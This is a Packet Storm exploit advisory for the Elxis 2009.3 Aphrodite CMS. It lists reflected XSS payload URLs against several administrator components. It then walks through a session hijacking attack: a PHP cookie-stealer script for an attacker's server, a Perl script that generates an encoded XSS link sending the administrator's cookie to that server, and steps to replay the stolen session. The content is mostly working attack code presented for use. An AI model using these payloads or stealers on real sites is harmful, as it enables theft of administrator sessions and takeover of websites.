exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Elxis 2009.3 Aphrodite Rev 2681 Session Hijacking / XSS

Elxis 2009.3 Aphrodite Rev 2681 Session Hijacking / XSS
Posted Aug 23, 2011
Authored by mr.pr0n

Elxis 2009.3 Aphrodite revision 2681 suffers from session hijacking and cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss
SHA-256 | 6853ff54db246a851ff65855ce0587e82b1e4c17f553bbae6f936d19871293a1

Elxis 2009.3 Aphrodite Rev 2681 Session Hijacking / XSS

Change Mirror Download

#####################################################################################
# Exploit Title: Elxis 2009.3 Aphrodite rev2681 - Session hijacking Vulnerability
# Google Dork: --
# Date: 25/8/2011
# Author: mr.pr0n (@_pr0n_)
# Homepage: http://ghostinthelab.wordpress.com/ - http://s3cure.gr
# Software Link: http://www.elxis-downloads.com/downloads/download.html?id=325
# Version: Elxis 2009.3 Aphrodite rev2681
# Tested on: Linux Fedora 14
#####################################################################################

================
| Description |
================
Elxis is powerful open source content management system (CMS) released for free under the GNU/GPL license. It has unique multi-lingual features, it follows W3C standards, it is secure, flexible, easy to use, and modern. The development team, Elxis Team, paid extra attention to the optimization of the CMS for the search engines and this lead to high performance of all elxis powered web sites and to high ranking in search engines results. We are glad to introduce you to the Elxis world. Welcome!

===============================
| 0x01 | XSS Vulnerabilites |
===============================

------------------------------------
| FrontPage Manager: (com_content) |
------------------------------------

http://VICTIM_SERVER/elxis/administrator/index2.php?search=%27%22%3E%3Cmarquee%3E%3Ch1%3EXSS+Vulnerability%3C%2Fh1%3E%3C%2Fmarquee%3E&filter_sectionid=0&catid=0&limit=20&limitstart=0&option=com_frontpage&task=&boxchecked=0&simpleview=1

------------------------------------------
| Content Items Manager: (com_frontpage) |
------------------------------------------

http://VICTIM_SERVER/elxis/administrator/index2.php?search=%27%22%3E%3Cmarquee%3E%3Ch1%3EXSS+Vulnerability%3C%2Fh1%3E%3C%2Fmarquee%3E&filter_pub=-3&filter_sectionid=0&catid=0&limit=20&limitstart=0&option=com_content&sectionid=0&task=&boxchecked=0&hidemainmenu=0&redirect=0&simpleview=1

------------------------------------
| Private Messages: (com_messages) |
------------------------------------

http://VICTIM_SERVER/elxis/administrator/index2.php?search=%27%22%3E%3Cmarquee%3E%3Ch1%3EXSS+Vulnerability%3C%2Fh1%3E%3C%2Fmarquee%3E&limit=20&limitstart=0&option=com_messages&task=&boxchecked=0&hidemainmenu=0

------------------------------
| Menus Manager: (com_menus) |
------------------------------

http://VICTIM_SERVER/elxis/administrator/index2.php?levellimit=1&search=%27%22%3E%3Cmarquee%3E%3Ch1%3EXSS+Vulnerability%3C%2Fh1%3E%3C%2Fmarquee%3E&order%5B%5D=1&access=29&order%5B%5D=1&access=29&order%5B%5D=3&access=29&order%5B%5D=1&access=29&order%5B%5D=2&access=29&order%5B%5D=3&access=29&order%5B%5D=3&access=29&order%5B%5D=1&access=29&order%5B%5D=2&access=29&order%5B%5D=3&access=29&order%5B%5D=5&access=29&order%5B%5D=5&access=29&order%5B%5D=7&access=29&order%5B%5D=7&access=29&order%5B%5D=9&access=29&order%5B%5D=10&access=29&order%5B%5D=10&access=29&order%5B%5D=12&access=29&order%5B%5D=12&access=29&limit=20&limitstart=0&option=com_menus&menutype=mainmenu&task=&boxchecked=0&hidemainmenu=0


===========================================
| 0x02 | Session hijacking Vulnerability |
===========================================

------------
| Intro... |
------------

The Session Hijacking attack consists of the exploitation of the web session control mechanism, which is normally managed for a session token.

Because http communication uses many different TCP connections, the web server needs a method to recognize every user’s connections. The most useful method depends on a token that the Web Server sends to the client browser after a successful client authentication. A session token is normally composed of a string of variable width and it could be used in different ways, like in the URL, in the header of the http requisition as a cookie, in other parts of the header of the http request, or yet in the body of the http requisition.

The Session Hijacking attack compromises the session token by stealing or predicting a valid session token to gain unauthorized access to the Web Server.

The session token could be compromised in different ways; the most common are:

[*] Predictable session token;
[*] Session Sniffing;
[*] Client-side attacks (XSS, malicious JavaScript Codes, Trojans, etc);
[*] Man-in-the-middle attack
[*] Man-in-the-browser attack

Source:
https://www.owasp.org/index.php/Session_hijacking_attack

-----------------
| The 1st Step |
-----------------
Upload to the ATTACKER_SERVER:

[*] stealer.php - [Record the cookies of every user that views it!]
[*] gotit.txt - [The log file!]

//--- stealer.php ---
<?php
header ('Location:http://VICTIM_SERVER/elxis/administrator/index2.php');
$cookie = $_GET['cookie'];
$log = fopen("gotit.txt", "a");
fwrite($log, $cookie ."\n");
fclose($log);
?>
//--- end ---

-----------------
| The 2nd Step |
-----------------
Create the "evil" link (with the Elxis_2009.3_Aphrodite_rev2681.pl).

# --- Elxis_2009.3_Aphrodite_rev2681.pl ---
#!/usr/bin/perl
print "\n |==[ mr.pr0n ]=============================================== |\n";
print " | Elxis 2009.3 Aphrodite rev2681 - ..the evil link creator |\n";
print " |===================[ http://ghostinthelab.wordpress.com/ ]== |\n";

print "\nEnter the target (e.g.: http://victim.com)";
print "\n> ";
$target=<STDIN>;
chomp($target);
$target = "http://".$target if ($target !~ /^http:/);

print "Enter the elxis directory (e.g.: elxis)";
print "\n> ";
$dir=<STDIN>;
chomp($dir);

$target = $target."/".$dir;

print "Enter the address of the \"stealer.php\" (e.g.: http://attacker.com/directory/stealer.php)";
print "\n> ";
$stealer=<STDIN>;
chomp($stealer);

$result = "document.location=\"$stealer?cookie=\"+document.cookie\;";
$result =~ s/(.)/sprintf("%x%",ord($1))/eg;

print "\n[+] Send this link to your victim...\n\n";
print $target."/administrator/index2.php?option=com_frontpage&search='\"><%73%63%72%69%70%74>%".$result."3b<%2F%73%63%72%69%70%74>\n";
#--- end ---

----------------
| The 3rd Step |
----------------
Send the "evil" link to the administrator....
WARNING: The administrator *MUST* be logged in. |


----------------
| The 4th Step |
----------------
Go to http://VICTIM_SERVER/elxis/administrator/
Insert into your cookie the hijacked session.
Go to http://VICTIM_SERVER/elxis/administrator/index2.php
...Welcome administrator :-)

----------------------------------------------------------------
| See the Demo | http://blip.tv/play/AYLPjzUC |
----------------------------------------------------------------

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    0 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close